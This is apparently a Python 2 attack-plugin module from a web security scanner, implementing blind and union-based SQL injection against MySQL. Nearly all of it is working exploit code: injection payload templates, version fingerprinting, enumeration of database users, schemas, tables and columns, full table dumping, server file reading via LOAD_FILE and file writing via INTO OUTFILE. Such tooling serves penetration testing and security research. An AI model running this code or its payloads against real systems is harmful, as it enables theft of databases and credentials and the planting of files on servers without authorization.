import random
import re
import time

from plugins.attack.db.dbDriver import dbDriver as Common


class MySQLMap(Common):
	__banner				 = ""
	__currentDb			  = ""
	__fingerprint			= []
	__cachedDbs			  = []
	__cachedTables		   = {}
	__cachedColumns		  = {}
	__has_information_schema = False


	def unescape(self, expression):
		while True:
			index = expression.find("'")
			if index == -1:
				break

			firstIndex = index + 1
			index = expression[firstIndex:].find("'")

			if index == -1:
				raise Exception, "Unenclosed ' in '%s'" % expression

			lastIndex = firstIndex + index
			old = "'%s'" % expression[firstIndex:lastIndex]
			unescaped = ""

			for i in range(firstIndex, lastIndex):
				unescaped += "%d" % (ord(expression[i]))
				if i < lastIndex - 1:
					unescaped += ","

			expression = expression.replace(old, "CHAR(%s)" % unescaped)

		return expression


	def createStm(self):
		if self.args.injectionMethod == "numeric":
			evilStm = " OR ORD(MID((%s), %d, 1)) > %d"
		elif self.args.injectionMethod == "stringsingle":
			evilStm = "' OR ORD(MID((%s), %d, 1)) > %d AND '1"
		elif self.args.injectionMethod == "stringdouble":
			evilStm = '" OR ORD(MID((%s), %d, 1)) > %d AND "1'

		return evilStm


	def __commentCheck(self):
		logMsg = "executing MySQL comment injection fingerprint"
		self.log(logMsg)

		if self.args.injectionMethod == "numeric":
			stm = " /* NoValue */"
		elif self.args.injectionMethod == "stringsingle":
			stm = "' /* NoValue */ AND '1"
		elif self.args.injectionMethod == "stringdouble":
			stm = '" /* NoValue */ AND "1'

		baseUrl = self.urlReplace(newValue=stm)
		newResult = self.queryPage(baseUrl)

		if newResult != self.args.defaultResult:
			warnMsg = "unable to perform MySQL comment injection"
			self.warn(warnMsg)

			return None

		# MySQL valid versions updated at 02/2007
		versions = (
					 (32200, 32233),	# MySQL 3.22
					 (32300, 32354),	# MySQL 3.23
					 (40000, 40024),	# MySQL 4.0
					 (40100, 40122),	# MySQL 4.1
					 (50000, 50032),	# MySQL 5.0
					 (50100, 50114),	# MySQL 5.1
					)

		for element in versions:
			for version in range(element[0], element[1] + 1):
				version = str(version)

				if self.args.injectionMethod == "numeric":
					stm = " /*!%s AND 1=2*/" % version
				elif self.args.injectionMethod == "stringsingle":
					stm = "' /*!%s AND 1=2*/ AND '1" % version
				elif self.args.injectionMethod == "stringdouble":
					stm = '" /*!%s AND 1=2*/ AND "1' % version

				baseUrl = self.urlReplace(newValue=stm)
				newResult = self.queryPage(baseUrl)

				if newResult == self.args.defaultResult:
					if version[0] == "3":
						midVer = prevVer[1:3]
					else:
						midVer = prevVer[2]
					trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])

					return trueVer

				prevVer = version

		return None


	def getFingerprint(self):
		actVer = self.parseFp("MySQL", self.__fingerprint)

		if not self.args.exaustiveFp:
			return actVer

		blank = " " * 16
		value = "active fingerprint: %s" % actVer

		comVer = self.__commentCheck()
		if comVer:
			comVer = self.parseFp("MySQL", [comVer])
			value += "\n%scomment injection fingerprint: %s" % (blank, comVer)

		if self.__banner:
			banVer = re.search("^([\d\.]+)", self.__banner)
			banVer = banVer.groups()[0]

			if re.search("-log$", self.__banner):
				banVer += ", logging enabled"

			banVer = self.parseFp("MySQL", [banVer])
			value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)

		return value


	def getBanner(self):
		logMsg = "fetching banner"
		self.log(logMsg)

		if not self.__banner:
			self.__banner = self.getValue("VERSION()")

		return self.__banner


	def getCurrentUser(self):
		logMsg = "fetching current user"
		self.log(logMsg)

		return self.getValue("current_user()")


	def getCurrentDb(self):
		logMsg = "fetching current database"
		self.log(logMsg)

		if self.__currentDb:
			return self.__currentDb
		else:
			return self.getValue("database()")


	def getUsers(self):
		logMsg = "fetching number of database users"
		self.log(logMsg)

		stm = "SELECT COUNT(DISTINCT(user)) FROM mysql.user"

		count = self.getValue(stm)

		if not len(count) or count == "0":
			errMsg = "unable to retrieve the number of database users"
			raise Exception, errMsg

		logMsg = "fetching database users"
		self.log(logMsg)

		users = []

		for index in range(int(count)):
			stm  = "SELECT DISTINCT(user) "
			stm += "FROM mysql.user LIMIT %d, 1" % index

			user = self.getValue(stm)
			users.append(user)

		if not users:
			errMsg = "unable to retrieve the database users"
			raise Exception, errMsg

		return users


	def getDbs(self):
		logMsg = "fetching number of databases"
		self.log(logMsg)

		if not self.__has_information_schema:
			warnMsg  = "information_schema not available, "
			warnMsg += "remote database is MySQL < 5. database "
			warnMsg += "names will be fetched from 'mysql' table"
			self.warn(warnMsg)

			stm = "SELECT COUNT(DISTINCT(db)) FROM mysql.db"
		else:
			stm  = "SELECT COUNT(DISTINCT(schema_name)) "
			stm += "FROM information_schema.schemata"

		count = self.getValue(stm)

		if not len(count) or count == "0":
			errMsg = "unable to retrieve the number of databases"
			raise Exception, errMsg

		logMsg = "fetching database names"
		self.log(logMsg)

		dbs = []

		for index in range(int(count)):
			if not self.__has_information_schema:
				stm  = "SELECT DISTINCT(db) "
				stm += "FROM mysql.db LIMIT %d, 1" % index
			else:
				stm  = "SELECT DISTINCT(schema_name) "
				stm += "FROM information_schema.schemata "
				stm += "LIMIT %d, 1" % index

			db = self.getValue(stm)
			dbs.append(db)

		if dbs:
			self.__cachedDbs = dbs
		else:
			errMsg = "unable to retrieve the database names"
			raise Exception, errMsg

		return dbs


	def getTables(self):
		if not self.__has_information_schema:
			errMsg  = "information_schema not available, "
			errMsg += "remote database is MySQL < 5.0"
			raise Exception, errMsg

		if not self.args.db:
			if not len(self.__cachedDbs):
				dbs = self.getDbs()
			else:
				dbs = self.__cachedDbs
		else:
			if "," in self.args.db:
				dbs = self.args.db.split(",")
			else:
				dbs = [self.args.db]

		dbTables = {}

		for db in dbs:
			logMsg = "fetching number of tables for database '%s'" % db
			self.log(logMsg)

			stm  = "SELECT COUNT(DISTINCT(table_name)) "
			stm += "FROM information_schema.tables "
			stm += "WHERE table_schema LIKE '%s'" % db

			count = self.getValue(stm)

			if not len(count) or count == "0":
				warnMsg  = "unable to retrieve the number of "
				warnMsg += "tables for database '%s'" % db
				self.warn(warnMsg)

				continue

			logMsg = "fetching tables for database '%s'" % db
			self.log(logMsg)

			tables = []

			for index in range(int(count)):
				stm  = "SELECT DISTINCT(table_name) "
				stm += "FROM information_schema.tables "
				stm += "WHERE table_schema LIKE '%s' " % db
				stm += "LIMIT %d, 1" % index

				table = self.getValue(stm)
				tables.append(table)

			if tables:
				dbTables[db] = tables
			else:
				warnMsg  = "unable to retrieve the tables "
				warnMsg += "for database '%s'" % db
				self.warn(warnMsg)

		if dbTables:
			self.__cachedTables = dbTables
		elif not self.args.db:
			errMsg  = "unable to retrieve the tables for any database"
			raise Exception, errMsg

		return dbTables


	def getColumns(self):
		if not self.args.tbl:
			errMsg = "missing table parameter"
			raise Exception, errMsg

		if not self.__has_information_schema:
			errMsg  = "information_schema not available, "
			errMsg += "remote database is MySQL < 5.0"
			raise Exception, errMsg

		if "." in self.args.tbl:
			self.args.db, self.args.tbl = self.args.tbl.split(".")

		logMsg = "fetching number of columns for table '%s'" % self.args.tbl
		if self.args.db:
			logMsg += " on database '%s'" % self.args.db
		self.log(logMsg)

		stm  = "SELECT COUNT(DISTINCT(column_name)) "
		stm += "FROM information_schema.columns "
		stm += "WHERE table_name LIKE '%s' " % self.args.tbl
		if self.args.db:
			stm += "AND table_schema LIKE '%s'" % self.args.db

		count = self.getValue(stm)

		if not len(count) or count == "0":
			errMsg  = "unable to retrieve the number of columns "
			errMsg += "for table '%s'" % self.args.tbl
			if self.args.db:
				errMsg += " on database '%s'" % self.args.db
			raise Exception, errMsg

		logMsg = "fetching columns for table '%s'" % self.args.tbl
		if self.args.db:
			logMsg += " on database '%s'" % self.args.db
		self.log(logMsg)

		tableColumns = {}
		table = {}
		columns = {}

		for index in range(int(count)):
			stm  = "SELECT DISTINCT(column_name) "
			stm += "FROM information_schema.columns "
			stm += "WHERE table_name LIKE '%s' " % self.args.tbl
			if self.args.db:
				stm += "AND table_schema LIKE '%s' " % self.args.db
			stm += "LIMIT %d, 1" % index

			column = self.getValue(stm)

			stm  = "SELECT data_type "
			stm += "FROM information_schema.columns "
			stm += "WHERE table_name LIKE '%s' " % self.args.tbl
			stm += "AND column_name LIKE '%s'" % column
			if self.args.db:
				stm += " AND table_schema LIKE '%s'" % self.args.db

			coltype = self.getValue(stm)
			columns[column] = coltype

		if columns:
			table[self.args.tbl] = columns
			tableColumns[self.args.db] = table
		else:
			errMsg  = "unable to retrieve the columns for "
			errMsg += "table '%s'" % self.args.tbl
			if self.args.db:
				errMsg += " on database '%s'" % self.args.db
			raise Exception, errMsg

		self.__cachedColumns[self.args.db] = table

		return tableColumns


	def dumpTable(self):
		if not self.args.tbl:
			raise Exception, "missing table parameter"

		if not self.__has_information_schema:
			errMsg  = "information_schema not available, "
			errMsg += "remote database is MySQL < 5.0"
			raise Exception, errMsg

		if not self.__cachedColumns:
			self.__cachedColumns = self.getColumns()

		logMsg  = "fetching number of entries for "
		logMsg += "table '%s'" % self.args.tbl
		if self.args.db:
			logMsg += "on database '%s'" % self.args.db
			fromExpr = "%s.%s" % (self.args.db, self.args.tbl)
		else:
			fromExpr = self.args.tbl

		columnValues = {}
		stm = "SELECT COUNT(*) FROM %s" % fromExpr

		count = self.getValue(stm)

		if not len(count) or count == "0":
			errMsg  = "unable to retrieve the number of entries "
			errMsg += "for table '%s'" % self.args.tbl
			if self.args.db:
				errMsg += " on database '%s'" % self.args.db
			raise Exception, errMsg

		if self.args.col:
			self.args.col = self.args.col.split(',')

		columns = self.__cachedColumns[self.args.db][self.args.tbl]

		for column in columns.keys():
			if self.args.col and column not in self.args.col:
				continue

			logMsg  = "fetching entries of column '%s' for " % column
			logMsg += "table '%s'" % self.args.tbl
			if self.args.db:
				logMsg += " on database '%s'" % self.args.db
			self.log(logMsg)

			length = 0
			values = []
			columnData = {}
			columnValues[column] = {}

			for index in range(int(count)):
				stm  = "SELECT %s FROM %s " % (column, fromExpr)
				stm += "LIMIT %d, 1" % index
				value = self.getValue(stm)

				length = max(length, len(str(value)))
				values.append(value)

			if length < len(column):
				columnData["length"] = len(column)
			else:
				columnData["length"] = length

			columnData["values"] = values
			columnValues[column] = columnData

		if columnValues:
			infos = {}

			if self.args.db:
				infos["db"] = self.args.db
			else:
				infos["db"] = None
			infos["table"] = self.args.tbl
			infos["count"] = count

			columnValues["__infos__"] = infos
		else:
			errMsg  = "unable to retrieve the entries for "
			errMsg += "table '%s'" % self.args.tbl
			if self.args.db:
				errMsg += " on database '%s'" % self.args.db
			raise Exception, errMsg

		return columnValues


	def getFile(self, filename):
		logMsg = "fetching file: '%s'" % filename
		self.log(logMsg)

		if self.args.unionUse:
			return self.unionUse("LOAD_FILE('%s')" % filename)
		else:
			return self.getValue("LOAD_FILE('%s')" % filename)

	def writeFile( self, filename, content ):
		self.log('Writing %s with content: %s' % (filename,content) )
		
		union = self.unionCheck()
		# union = http://localhost/w3af/blindSqli/blindSqli-integer.php?id=1 UNION SELECT NULL, NULL, NULL, NULL, NULL
		
		union.replace( 'NULL', content, 1 )
		union += ' FROM mysql.user LIMIT 1 INTO OUTFILE "%s" /*' % filename
		
		self.getPage( union )
		
	def getExpr(self, expression):
		if self.args.unionUse:
			return self.unionUse(expression)
		else:
			return self.getValue(expression)


	def checkDbms(self):
		logMsg = "testing MySQL"
		self.log(logMsg)

		randInt = str(random.randint(1, 9))
		stm = "CONCAT('%s', '%s')" % (randInt, randInt)

		if self.getValue(stm) == (randInt * 2):
			logMsg = "confirming MySQL"
			self.log(logMsg)

			stm = "LENGTH('%s')" % randInt

			if not self.getValue(stm) == "1":
				warnMsg = "remote database is not MySQL"
				self.warn(warnMsg)

				return False

			stm  = "SELECT %s " % randInt
			stm += "FROM information_schema.tables "
			stm += "LIMIT 0, 1"

			if self.getValue(stm) == randInt:
				self.__has_information_schema = True

				if not self.args.exaustiveFp:
					self.__fingerprint = [">= 5.0.0"]
					return True

				self.__currentDb = self.getValue("DATABASE()")
				if self.__currentDb == self.getValue("SCHEMA()"):
					self.__fingerprint = [">= 5.0.2", "< 5.1"]

					stm  = "SELECT %s " % randInt
					stm += "FROM information_schema.partitions "
					stm += "LIMIT 0, 1"

					if self.getValue(stm) == randInt:
						self.__fingerprint = [">= 5.1"]
				else:
					self.__fingerprint = ["= 5.0.0 or 5.0.1"]
			else:
				self.__fingerprint = ["< 5.0.0"]

				if not self.args.exaustiveFp:
					return True

				coercibility = self.getValue("COERCIBILITY(USER())")
				if coercibility == "3":
					self.__fingerprint = [">= 4.1.11", "< 5.0.0"]
				elif coercibility == "2":
					self.__fingerprint = [">= 4.1.1", "< 4.1.11"]
				elif self.getValue("CURRENT_USER()"):
					self.__fingerprint = [">= 4.0.6", "< 4.1.1"]

					if self.getValue("CHARSET(CURRENT_USER())") == "utf8":
						self.__fingerprint = ["= 4.1.0"]
					else:
						self.__fingerprint = [">= 4.0.6", "< 4.1.0"]
				elif self.getValue("FOUND_ROWS()") == "0":
					self.__fingerprint = [">= 4.0.0", "< 4.0.6"]
				elif self.getValue("CONNECTION_ID()"):
					self.__fingerprint = [">= 3.23.14", "< 4.0.0"]
				elif re.search("@[\w\.\-\_]+", self.getValue("USER()")):
					self.__fingerprint = [">= 3.22.11", "< 3.23.14"]
				else:
					self.__fingerprint = ["< 3.22.11"]

			if self.args.getBanner:
				self.__banner = self.getValue("VERSION()")

			return True
		else:
			warnMsg = "remote database is not MySQL"
			self.warn(warnMsg)

			return False

	def unionCheck(self):
		logMsg = "testing union on parameter '%s'" % self.args.injParameter
		self.log(logMsg)

		resultDict = {}

		if self.args.injectionMethod == "numeric":
			stm = " UNION SELECT NULL"
		elif self.args.injectionMethod == "stringsingle":
			stm = "' UNION SELECT NULL"
		elif self.args.injectionMethod == "stringdouble":
			stm = '" UNION SELECT NULL'

		for i in range(100):
			if self.args.injectionMethod == "numeric":
				checkStm = stm
			elif self.args.injectionMethod == "stringsingle":
				checkStm = stm + ", '1"
			elif self.args.injectionMethod == "stringdouble":
				checkStm = stm + ', "1'

			baseUrl = self.urlReplace(newValue=checkStm)
			newResult = self.queryPage(baseUrl)

			if not newResult in resultDict.keys():
				resultDict[newResult] = (1, stm)
			else:
				resultDict[newResult] = (resultDict[newResult][0] + 1, stm)

			stm += ", NULL"

			if i > 2:
				for element in resultDict.values():
					if element[0] == 1:
						if self.args.httpMethod == "GET":
							value = baseUrl

							if not self.args.injectionMethod == "numeric":
								value = baseUrl.replace("SELECT NULL,", "SELECT")

							return value
						elif self.args.httpMethod == "POST":
							url = baseUrl.split("?")[0]
							data = baseUrl.split("?")[1]
							value = "url:\t'%s'" % url

							if not self.args.injectionMethod == "numeric":
								data = data.replace("SELECT NULL,", "SELECT")

							value += "\ndata:\t'%s'\n" % data

							return value
	
	def __init__(self, urlOpener, vuln):
		Common.__init__( self, urlOpener, vuln )
